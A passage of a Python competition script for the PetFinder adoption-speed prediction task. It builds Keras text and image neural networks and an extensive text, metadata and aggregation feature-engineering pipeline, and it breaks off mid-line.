Embedding(len(embedding_matrix), embedding_dim, weights=[embedding_matrix], trainable=False)(inp_desc)\n emb_desc = SpatialDropout1D(0.2)(emb_desc)\n x1 = Bidirectional(CuDNNLSTM(64, return_sequences=True))(emb_desc)\n x2 = Bidirectional(CuDNNGRU(64, return_sequences=True))(x1)\n\n max_pool2 = GlobalMaxPooling1D()(x2)\n avg_pool2 = GlobalAveragePooling1D()(x2)\n conc = Concatenate()([max_pool2, avg_pool2])\n conc = BatchNormalization()(conc)\n\n conc = Dense(32, activation=\"linear\")(conc)\n conc = BatchNormalization()(conc)\n conc = PReLU()(conc)\n conc = Dropout(dout)(conc)\n\n x = concatenate([conc, x_img, nums, cats, inp_important_numerical])\n x = Dropout(dout / 2)(x)\n\n out = Dense(1, activation=\"linear\")(x)\n\n model = Model(inputs=inp_cats + [inp_numerical, inp_important_numerical, inp_img, inp_desc], outputs=out)\n model.compile(optimizer=\"adam\", loss=rmse)\n return model\n\n\ndef get_model_selftrain(max_len, embedding_dim, emb_n=4, emb_n_imp=16, dout=.5, weight_decay=0.1):\n inp_cats = []\n embs = []\n for c in categorical_features:\n inp_cat = Input(shape=[1], name=c)\n inp_cats.append(inp_cat)\n embs.append((Embedding(X_train[c].max() + 1, emb_n)(inp_cat)))\n for c in important_categorical:\n inp_cat = Input(shape=[1], name=c)\n inp_cats.append(inp_cat)\n embs.append((Embedding(X_train[c].max() + 1, emb_n_imp)(inp_cat)))\n cats = Flatten()(concatenate(embs))\n imp_cats = Flatten()(concatenate(embs))\n cats = Dense(8, activation=\"linear\")(cats)\n cats = BatchNormalization()(cats)\n cats = PReLU()(cats)\n cats = Dropout(dout / 2)(cats)\n\n inp_numerical = Input(shape=(len(numerical),), name=\"numerical\")\n inp_important_numerical = Input(shape=(len(important_numerical),), name=\"important_numerical\")\n nums = concatenate([inp_numerical, inp_important_numerical])\n nums = Dense(32, activation=\"linear\")(nums)\n nums = BatchNormalization()(nums)\n nums = PReLU()(nums)\n nums = Dropout(dout)(nums)\n\n inp_dense = Input(shape=(len(dense_cols),), name=\"dense_cols\")\n x_dense = Dense(32, activation=\"linear\")(inp_dense)\n x_dense = BatchNormalization()(x_dense)\n x_dense = PReLU()(x_dense)\n\n inp_inception = Input(shape=(len(inception_cols),), name=\"inception_cols\")\n x_inception = Dense(32, activation=\"linear\")(inp_inception)\n x_inception = BatchNormalization()(x_inception)\n x_inception = PReLU()(x_inception)\n\n x_img = concatenate([x_dense, x_inception])\n x_img = Dense(32, activation=\"linear\")(x_img)\n x_img = BatchNormalization()(x_img)\n x_img = PReLU()(x_img)\n x_img = Dropout(dout)(x_img)\n\n inp_desc = Input(shape=(max_len,), name=\"description\")\n emb_desc = Embedding(len(embedding_matrix_self), embedding_dim, weights=[embedding_matrix_self],\n trainable=False)(inp_desc)\n emb_desc = SpatialDropout1D(0.2)(emb_desc)\n x1 = Bidirectional(CuDNNLSTM(32, return_sequences=True))(emb_desc)\n x2 = Bidirectional(CuDNNGRU(32, return_sequences=True))(x1)\n\n max_pool2 = GlobalMaxPooling1D()(x2)\n avg_pool2 = GlobalAveragePooling1D()(x2)\n att2 = Attention(max_len)(x2)\n conc = Concatenate()([max_pool2, avg_pool2, att2])\n conc = se_block(conc, 64 + 64 + 64)\n conc = BatchNormalization()(conc)\n\n conc = Dense(32, activation=\"linear\")(conc)\n conc = BatchNormalization()(conc)\n conc = PReLU()(conc)\n conc = Dropout(dout)(conc)\n\n x = concatenate([conc, x_img, nums, cats, inp_important_numerical])\n x = se_block(x, 32 + 32 + 32 + 8 + len(important_numerical))\n x = BatchNormalization()(x)\n x = Dropout(dout)(x)\n x = concatenate([x, inp_important_numerical])\n x = BatchNormalization()(x)\n x = Dropout(dout / 2)(x)\n\n out = Dense(1, activation=\"linear\")(x)\n\n model = Model(inputs=inp_cats + [inp_numerical, inp_important_numerical, inp_dense, inp_inception, inp_desc],\n outputs=out)\n model.compile(optimizer=\"adam\", loss=rmse)\n return model\n\ndef get_keras_data(df, description_embeds):\n X = {\n \"numerical\": df[numerical_1000].values,\n \"important_numerical\": df[important_numerical].values,\n \"description\": description_embeds,\n \"img\": df[img_cols]\n }\n for c in categorical_features_1000 + important_categorical:\n X[c] = df[c]\n return X\n\ndef get_keras_data_selftrain(df, description_embeds):\n X = {\n \"numerical\": df[numerical].values,\n \"important_numerical\": df[important_numerical].values,\n \"description\": description_embeds,\n \"dense_cols\": df[dense_cols],\n \"inception_cols\": df[inception_cols]\n }\n for c in categorical_features + important_categorical:\n X[c] = df[c]\n return X\n\ndef rmse(y, y_pred):\n return K.sqrt(K.mean(K.square(y - y_pred), axis=-1))\n\ndef w2v_fornn(train_text, model, max_len):\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(list(train_text))\n train_text = tokenizer.texts_to_sequences(train_text)\n train_text = pad_sequences(train_text, maxlen=max_len)\n word_index = tokenizer.word_index\n\n embedding_dim = model.dim\n embedding_matrix = np.zeros((len(word_index) + 1, embedding_dim))\n\n for word, i in word_index.items():\n if word in model: # 0.9906\n embedding_matrix[i] = model.query(word)\n continue\n word_ = word.upper()\n if word_ in model: # 0.9909\n embedding_matrix[i] = model.query(word_)\n continue\n word_ = word.capitalize()\n if word_ in model: # 0.9925\n embedding_matrix[i] = model.query(word_)\n continue\n word_ = ps.stem(word)\n if word_ in model: # 0.9927\n embedding_matrix[i] = model.query(word_)\n continue\n word_ = lc.stem(word)\n if word_ in model: # 0.9932\n embedding_matrix[i] = model.query(word_)\n continue\n word_ = sb.stem(word)\n if word_ in model: # 0.9933\n embedding_matrix[i] = model.query(word_)\n continue\n embedding_matrix[i] = model.query(word)\n\n return train_text, embedding_matrix, embedding_dim, word_index\n\n\n\ndef self_train_w2v_tonn(train_text, max_len, w2v_params, mode=\"w2v\"):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n if mode == \"w2v\":\n model = word2vec.Word2Vec(train_corpus, **w2v_params)\n elif mode == \"fasttext\":\n model = FastText(train_corpus, **w2v_params)\n\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(list(train_text))\n train_text = tokenizer.texts_to_sequences(train_text)\n train_text = pad_sequences(train_text, maxlen=max_len)\n word_index = tokenizer.word_index\n\n embedding_dim = model.vector_size\n embedding_matrix = np.zeros((len(word_index) + 1, embedding_dim))\n\n for word, i in word_index.items():\n if word in model: # 0.9906\n embedding_matrix[i] = model.wv[word]\n continue\n word_ = word.upper()\n if word_ in model: # 0.9909\n embedding_matrix[i] = model.wv[word_]\n continue\n word_ = word.capitalize()\n if word_ in model: # 0.9925\n embedding_matrix[i] = model.wv[word_]\n continue\n word_ = ps.stem(word)\n if word_ in model: # 0.9927\n embedding_matrix[i] = model.wv[word_]\n continue\n word_ = lc.stem(word)\n if word_ in model: # 0.9932\n embedding_matrix[i] = model.wv[word_]\n continue\n word_ = sb.stem(word)\n if word_ in model: # 0.9933\n embedding_matrix[i] = model.wv[word_]\n continue\n embedding_matrix[i] = np.zeros(embedding_dim)\n\n return train_text, embedding_matrix, embedding_dim, word_index\n\n\nif __name__ == '__main__':\n init_logger()\n seed_everything(seed=seed)\n t_cols, k_cols, g_cols = [], [], []\n \n # load\n train = pd.read_csv('../input/petfinder-adoption-prediction/train/train.csv')\n test = pd.read_csv('../input/petfinder-adoption-prediction/test/test.csv')\n train = pd.concat([train, test], sort=True)\n train[['Description', 'Name']] = train[['Description', 'Name']].astype(str)\n train[\"Description_Emb\"] = [analyzer_embed(text) for text in train[\"Description\"]]\n train[\"Description_bow\"] = [analyzer_bow(text) for text in train[\"Description\"]]\n train['fix_Breed1'] = train['Breed1']\n train['fix_Breed2'] = train['Breed2']\n train.loc[train['Breed1'] == 0, 'fix_Breed1'] = train[train['Breed1'] == 0]['Breed2']\n train.loc[train['Breed1'] == 0, 'fix_Breed2'] = train[train['Breed1'] == 0]['Breed1']\n train['Breed1_equals_Breed2'] = (train['Breed1'] == train['Breed2']).astype(int)\n train['single_Breed'] = (train['Breed1'] * train['Breed2'] == 0).astype(int)\n train.drop([\"Breed1\", \"Breed2\"], axis=1)\n train.rename(columns={\"fix_Breed1\": \"Breed1\", \"fix_Breed2\": \"Breed2\"})\n logger.info(f'DataFrame shape: {train.shape}')\n \n with timer('common features1'): \n with timer('merge additional state files'):\n train = merge_state_info(train)\n \n common_cols = list(train.columns)\n \n with timer('merge additional breed rating files'): \n orig_cols = list(train.columns)\n train = merge_breed_name_sub(train)\n t_cols += [c for c in train.columns if c not in orig_cols]\n k_cols += [c for c in train.columns if c not in orig_cols]\n \n orig_cols = list(train.columns)\n train = merge_breed_name(train)\n g_cols += [c for c in train.columns if c not in orig_cols and \"_main_breed_all\" in c] + [\"Type_second_breed\"]\n \n with timer('preprocess category features'): \n train = to_category(train, cat=categorical_features)\n \n if G_flag:\n with timer('gege features'): \n orig_cols = train.columns\n\n with timer('frequency encoding'):\n freq_cols = ['RescuerID', 'Breed1', 'Breed2', 'Color1', 'Color2', 'Color3', 'State']\n train = freq_encoding(train, freq_cols)\n\n g_cols += [c for c in train.columns if c not in orig_cols]\n \n if K_flag:\n with timer('kaeru features'): \n orig_cols = train.columns\n\n with timer('frequency encoding'):\n freq_cols = ['BreedName_main_breed', 'BreedName_second_breed']\n train = freq_encoding(train, freq_cols)\n\n k_cols += [c for c in train.columns if c not in orig_cols if c not in kaeru_drop_cols]\n \n if T_flag:\n with timer('takuoko features'): \n orig_cols = train.columns\n\n with timer('aggregation'):\n stats = ['mean', 'sum', 'median', 'min', 'max', 'var']\n groupby_dict = [\n {\n 'key': ['Name'], \n 'var': ['Age'], \n 'agg': ['count']\n },\n {\n 'key': ['RescuerID'], \n 'var': ['Age'], \n 'agg': ['count']\n },\n {\n 'key': ['RescuerID', 'State'], \n 'var': ['Age'], \n 'agg': ['count']\n },\n {\n 'key': ['RescuerID', 'Type'], \n 'var': ['Age'], \n 'agg': ['count']\n },\n {\n 'key': ['RescuerID'], \n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'State'], \n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'Type'], \n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2'], \n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1'], \n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n {\n 'key': ['State'], \n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n {\n 'key': ['MaturitySize'], \n 'var': ['Age', 'Quantity', 'Sterilized', 'Fee'], \n 'agg': stats\n },\n ]\n\n nunique_dict = [\n {\n 'key': ['State'], \n 'var': ['RescuerID'], \n 'agg': ['nunique']\n },\n {\n 'key': ['Dewormed'], \n 'var': ['RescuerID'], \n 'agg': ['nunique']\n },\n {\n 'key': ['Type'], \n 'var': ['RescuerID'], \n 'agg': ['nunique']\n },\n {\n 'key': ['Type', 'Breed1'], \n 'var': ['RescuerID'], \n 'agg': ['nunique']\n },\n ]\n\n groupby = GroupbyTransformer(param_dict=nunique_dict)\n train = groupby.transform(train)\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n diff = DiffGroupbyTransformer(param_dict=groupby_dict)\n train = diff.transform(train)\n ratio = RatioGroupbyTransformer(param_dict=groupby_dict)\n train = ratio.transform(train)\n\n with timer('category embedding'):\n train[['BreedName_main_breed', 'BreedName_second_breed']] = \\\n train[['BreedName_main_breed', 'BreedName_second_breed']].astype(\"int32\")\n for c in categorical_features:\n train[c] = train[c].fillna(train[c].max() + 1)\n\n cv = CategoryVectorizer(categorical_features, n_components, \n vectorizer=CountVectorizer(), \n transformer=LatentDirichletAllocation(n_components=n_components, n_jobs=-1, learning_method='online', random_state=777),\n name='CountLDA')\n features1 = cv.transform(train).astype(np.float32)\n\n cv = CategoryVectorizer(categorical_features, n_components, \n vectorizer=CountVectorizer(), \n transformer=TruncatedSVD(n_components=n_components, random_state=777),\n name='CountSVD')\n features2 = cv.transform(train).astype(np.float32)\n train = pd.concat([train, features1, features2], axis=1)\n\n t_cols += [c for c in train.columns if c not in orig_cols]\n \n with timer('common features2'): \n train[text_features].fillna('missing', inplace=True)\n with timer('preprocess metadata'): #使ってるcolsがkaeruさんとtakuokoで違う kaeruさんがfirst系は全部使うが、takuokoは使わない\n meta_parser = MetaDataParser(n_jobs=cpu_count)\n train = meta_parser.transform(train)\n\n k_cols += [c for c in meta_parser.g1.columns if re.match(\"\\w*_mean_\\w*mean\", c)] + [\"magnitude_mean\", \"score_mean\"]\n t_cols += [c for c in meta_parser.g1.columns if re.match(\"\\w*_sum_\\w*mean\", c)] + [\"magnitude_mean\", \"score_mean\"]\n g_cols += list(meta_parser.g1.columns)\n\n k_cols += [c for c in meta_parser.g2.columns if (\"mean_mean\" in c or \"mean_sum\" in c or \"first_first\" in c) and \"annots_score_normal\" not in c] + \\\n ['crop_conf_first', 'crop_x_first', 'crop_y_first', 'crop_importance_first', 'crop_conf_mean', \n 'crop_conf_sum', 'crop_importance_mean', 'crop_importance_sum']\n t_cols += [c for c in meta_parser.g2.columns if ((re.match(\"\\w*_sum_\\w*(?<!sum)$\", c) and \"first\" not in c) \\\n or (\"sum\" not in c and \"first\" not in c)) and \"annots_score_pick\" not in c]\n g_cols += [c for c in meta_parser.g2.columns if \"mean_mean\" in c or \"mean_sum\" in c or \"mean_var\" in c and \"annots_score_pick\" not in c] + \\\n ['crop_conf_mean', 'crop_conf_sum', 'crop_conf_var', 'crop_importance_mean',\n 'crop_importance_sum', 'crop_importance_var']\n \n with timer('preprocess metatext'): \n meta_features = meta_parser.metadata_files[['PetID', 'annots_top_desc', 'annots_top_desc_pick']]\n meta_features_all = meta_features.groupby('PetID')['annots_top_desc'].apply(lambda x: \" \".join(x)).reset_index()\n train = train.merge(meta_features_all, how='left', on='PetID') \n \n meta_features_pick = meta_features.groupby('PetID')['annots_top_desc_pick'].apply(lambda x: \" \".join(x)).reset_index()\n train = train.merge(meta_features_pick, how='left', on='PetID') \n\n sentiment_features = meta_parser.sentiment_files[['PetID', 'sentiment_text', 'sentiment_entities']]\n sentiment_features_txt = sentiment_features.groupby('PetID')['sentiment_text'].apply(lambda x: \" \".join(x)).reset_index()\n train = train.merge(sentiment_features_txt, how='left', on='PetID') \n \n sentiment_features_entities = sentiment_features.groupby('PetID')['sentiment_entities'].apply(lambda x: \" \".join(x)).reset_index()\n train = train.merge(sentiment_features_entities, how='left', on='PetID') \n\n train[meta_text] = train[meta_text].astype(str)\n train[meta_text].fillna(\"missing\", inplace=True)\n del meta_features_all, meta_features_pick, meta_features, sentiment_features; gc.collect()\n \n with timer('make image features'):\n train_image_files = sorted(glob.glob('../input/petfinder-adoption-prediction/train_images/*.jpg'))\n test_image_files = sorted(glob.glob('../input/petfinder-adoption-prediction/test_images/*.jpg'))\n image_files = train_image_files + test_image_files\n train_images = pd.DataFrame(image_files, columns=['image_filename'])\n train_images['PetID'] = train_images['image_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n \n if T_flag:\n with timer('takuoko features'): \n orig_cols = train.columns\n with timer('merge emoji files'): \n train = merge_emoji(train)\n\n with timer('preprocess and simple features'): \n train = get_interactions(train)\n\n with timer('tfidf + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n TfidfVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow']).astype(np.float32)\n X = pd.DataFrame(X, columns=['tfidf_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf_nmf_{}'.format(i) for i in range(n_components)]\n + ['tfidf_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('count + svd / nmf / bm25'): \n vectorizer = make_pipeline(\n CountVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow']).astype(np.float32)\n X = pd.DataFrame(X, columns=['count_svd_{}'.format(i) for i in range(n_components)]\n + ['count_nmf_{}'.format(i) for i in range(n_components)]\n + ['count_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('tfidf2 + svd / nmf / bm25'): \n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=2, max_features=20000,\n strip_accents='unicode', analyzer='word', token_pattern=r'\\w{1,}',\n ngram_range=(1, 3), use_idf=1, smooth_idf=1, sublinear_tf=1, stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow']).astype(np.float32)\n X = pd.DataFrame(X, columns=['tfidf2_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf2_nmf_{}'.format(i) for i in range(n_components)]\n + ['tfidf2_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('count2 + svd / nmf / bm25'): \n vectorizer = make_pipeline(\n CountVectorizer(min_df=2, max_features=20000,\n strip_accents='unicode', analyzer='word', token_pattern=r'\\w{1,}',\n ngram_range=(1, 3), stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow']).astype(np.float32)\n X = pd.DataFrame(X, columns=['count2_svd_{}'.format(i) for i in range(n_components)]\n + ['count2_nmf_{}'.format(i) for i in range(n_components)]\n + ['count2_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('tfidf3 + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=30, max_features=50000, binary=True,\n strip_accents='unicode', analyzer='char', token_pattern=r'\\w{1,}',\n ngram_range=(3, 3), use_idf=1, smooth_idf=1, sublinear_tf=1, stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow']).astype(np.float32)\n X = pd.DataFrame(X, columns=['tfidf3_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf3_nmf_{}'.format(i) for i in range(n_components)]\n + ['tfidf3_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('count3 + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n CountVectorizer(min_df=30, max_features=50000, binary=True,\n strip_accents='unicode', analyzer='char', token_pattern=r'\\w{1,}',\n ngram_range=(3, 3), stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow']).astype(np.float32)\n X = pd.DataFrame(X, columns=['count3_svd_{}'.format(i) for i in range(n_components)]\n + ['count3_nmf_{}'.format(i) for i in range(n_components)]\n + ['count3_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('description fasttext'): \n embedding = '../input/quora-embedding/GoogleNews-vectors-negative300.bin'\n model = KeyedVectors.load_word2vec_format(embedding, binary=True)\n X = pretrained_w2v(train[\"Description_Emb\"], model, name=\"gnvec\").astype(np.float32)\n train = pd.concat([train, X], axis=1)\n del model; gc.collect()\n\n with timer('description glove'): \n embedding = \"../input/pymagnitude-data/glove.840B.300d.magnitude\"\n model = Magnitude(embedding)\n X = w2v_pymagnitude(train[\"Description_Emb\"], model, name=\"glove\").astype(np.float32)\n train = pd.concat([train, X], axis=1)\n\n with timer('description glove for NN'):\n X_desc, embedding_matrix, embedding_dim, word_index = w2v_fornn(train[\"Description_Emb\"], model,\n max_len)\n del model; gc.collect()\n\n with timer('description selftrain for NN'):\n w2v_params = {\n \"size\": 300,\n \"seed\": 0,\n \"min_count\": 1,\n \"workers\": 1\n }\n X_desc_self, embedding_matrix_self, embedding_dim_self, word_index_self = self_train_w2v_tonn(\n train[\"Description_bow\"], max_len, w2v_params)\n \n with timer('meta text bow/tfidf->svd / nmf / bm25'): \n train['desc'] = ''\n for c in ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc', 'sentiment_text']:\n train['desc'] += ' ' + train[c].astype(str)\n\n train[\"desc\"] = [analyzer_bow(text) for text in train[\"desc\"]]\n\n vectorizer = make_pipeline(\n TfidfVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['desc']).astype(np.float32)\n X = pd.DataFrame(X, columns=['meta_desc_tfidf_svd_{}'.format(i) for i in range(n_components)]\n + ['meta_desc_tfidf_nmf_{}'.format(i) for i in range(n_components)]\n + ['meta_desc_tfidf_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n\n vectorizer = make_pipeline(\n CountVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['desc']).astype(np.float32)\n X = pd.DataFrame(X, columns=['meta_desc_count_svd_{}'.format(i) for i in range(n_components)]\n + ['meta_desc_count_nmf_{}'.format(i) for i in range(n_components)]\n + ['meta_desc_count_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n train.drop(['desc'], axis=1, inplace=True)\n \n with timer('image features'): \n train['num_images'] = train['PhotoAmt']\n train['num_images_per_pet'] = train['num_images'] / train['Quantity']\n\n t_cols += [c for c in train.columns if c not in orig_cols]\n \n if K_flag or G_flag:\n with timer('kaeru and gege features'):\n with timer('text stats features'): \n train = get_text_features(train)\n k_cols += ['Length_Description', 'Length_annots_top_desc', 'Lengths_sentiment_text']\n g_cols += ['Length_Description', 'Length_annots_top_desc', 'Lengths_sentiment_entities']\n \n if K_flag:\n with timer('kaeru features'): \n orig_cols = train.columns\n with timer('enginerring age'): \n train = get_age_feats(train)\n\n with timer('tfidf + svd / nmf'):\n vectorizer = make_pipeline(\n TfidfVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=kaeru_seed),\n # NMF(n_components=n_components, random_state=kaeru_seed),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description']).astype(np.float32)\n X = pd.DataFrame(X, columns=['tfidf_k_svd_{}'.format(i) for i in range(n_components)])\n # + ['tfidf_k_nmf_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('description doc2vec'): \n d2v_param = {\n \"features_num\": 300,\n \"min_word_count\": 10,\n \"context\": 5,\n \"downsampling\": 1e-3,\n \"epoch_num\": 10\n }\n X = doc2vec(train[\"Description\"], d2v_param).astype(np.float32)\n train = pd.concat([train, X], axis=1)\n\n with timer('annots_top_desc + svd / nmf'):\n vectorizer = make_pipeline(\n TfidfVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=kaeru_seed),\n # NMF(n_components=n_components, random_state=kaeru_seed),\n # n_jobs=2,\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['annots_top_desc_pick']).astype(np.float32)\n X = pd.DataFrame(X, columns=['annots_top_desc_k_svd_{}'.format(i) for i in range(n_components)])\n # + ['annots_top_desc_k_nmf_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('aggregation'):\n stats = ['mean', 'sum', 'min', 'max']\n var = ['Age_k', 'MaturitySize_k', 'FurLength_k', 'Fee_k', 'Health_k']\n for c in ['Age', 'MaturitySize', 'FurLength', 'Fee', 'Health']:\n train[c+\"_k\"] = train[c]\n groupby_dict = [\n {\n 'key': ['RescuerID'], \n 'var': ['Age_k'], \n 'agg': ['count']\n },\n {\n 'key': ['RescuerID'], \n 'var': ['Age_k', 'Length_Description', 'Length_annots_top_desc', 'Lengths_sentiment_text'], \n 'agg': stats + [\"var\"]\n },\n {\n 'key': ['RescuerID'], \n 'var': ['MaturitySize_k', 'FurLength_k', 'Fee_k', 'Health_k'], \n 'agg': stats\n }\n ]\n\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n train.drop(var, axis=1, inplace=True)\n\n k_cols += [c for c in train.columns if c not in orig_cols if c not in kaeru_drop_cols]\n \n if G_flag:\n with timer('gege features'): \n orig_cols = train.columns\n\n with timer('tfidf + svd'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=2, max_features=None,\n strip_accents='unicode', analyzer='word', token_pattern=r'(?u)\\b\\w+\\b',\n ngram_range=(1, 3), use_idf=1, smooth_idf=1, sublinear_tf=1),\n TruncatedSVD(n_components=n_components_gege_txt, random_state=kaeru_seed)\n )\n X = vectorizer.fit_transform(train['Description']).astype(np.float32)\n X = pd.DataFrame(X, columns=['tfidf_g_svd_{}'.format(i) for i in range(n_components_gege_txt)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('annots tfidf + svd'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=2, max_features=None,\n strip_accents='unicode', analyzer='word', token_pattern=r'(?u)\\b\\w+\\b',\n ngram_range=(1, 3), use_idf=1, smooth_idf=1, sublinear_tf=1),\n TruncatedSVD(n_components=n_components_gege_txt, random_state=kaeru_seed)\n )\n X = vectorizer.fit_transform(train['annots_top_desc']).astype(np.float32)\n X = pd.DataFrame(X, columns=['annots_top_desc_tfidf_g_svd_{}'.format(i) for i in range(n_components_gege_txt)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('sentiment entities tfidf + svd'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=2, max_features=None,\n strip_accents='unicode', analyzer='word', token_pattern=r'(?u)\\b\\w+\\b',\n ngram_range=(1, 3), use_idf=1, smooth_idf=1, sublinear_tf=1),\n TruncatedSVD(n_components=n_components_gege_txt, random_state=kaeru_seed)\n )\n X = vectorizer.fit_transform(train['sentiment_entities']).astype(np.float32)\n X = pd.DataFrame(X, columns=['sentiment_entities_tfidf_g_svd_{}'.format(i) for i in range(n_components_gege_txt)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\n with timer('image basic features'):\n train_images['image_size'] = train_images['image_filename'].apply(getSize)\n train_images['temp_size'] = train_images['image_filename'].apply(getDimensions)\n train_images['width'] = train_images['temp_size'].apply(lambda x : x[0])\n train_images['height'] = train_images['temp_size'].apply(lambda x : x[1])\n train_images = train_images.drop(['temp_size'], axis=1)\n\n aggs = {\n 'image_size': ['sum', 'mean', 'var'],\n 'width': ['sum', 'mean', 'var'],\n 'height': ['sum', 'mean', 'var'],\n }\n\n gp = train_images.groupby('PetID').agg(aggs)\n new_columns = [k + '_' + agg for k in aggs.keys() for agg in aggs[k]]\n gp.columns = new_columns\n train = train.merge(gp.reset_index(), how=\"left\", on=\"PetID\")\n\n g_cols += [c for c in train.columns if c not in orig_cols]\n \n dtype_cols = ['BreedName_main_breed', 'BreedName_second_breed', 'BreedName_main_breed_all']\n train[dtype_cols] = train[dtype_cols].astype(\"int32\")\n \n with timer('preprocess pretrained CNN'):\n if debug:\n import feather\n\n X = feather.read_dataframe(\"feature/dense121_2_X.feather\")\n gp_img = X.groupby(\"PetID\").mean().reset_index()\n train = pd.merge(train, gp_img, how=\"left\", on=\"PetID\")\n gp_dense_first = X.groupby(\"PetID\").first().reset_index()\n\n X = feather.read_dataframe(\"feature/inception_resnet.feather\")\n train = pd.concat((train, X), axis=1)\n t_cols += list(gp_img.columns.drop(\"PetID\"))\n t_cols += list(X.columns.drop(\"PetID\"))\n del gp_img;\n gc.collect()\n else:\n pet_ids = train_images['PetID'].values\n img_pathes = train_images['image_filename'].values\n # n_batches = len(pet_ids) // batch_size + 1\n n_batches = len(pet_ids) // batch_size + (len(pet_ids) % batch_size != 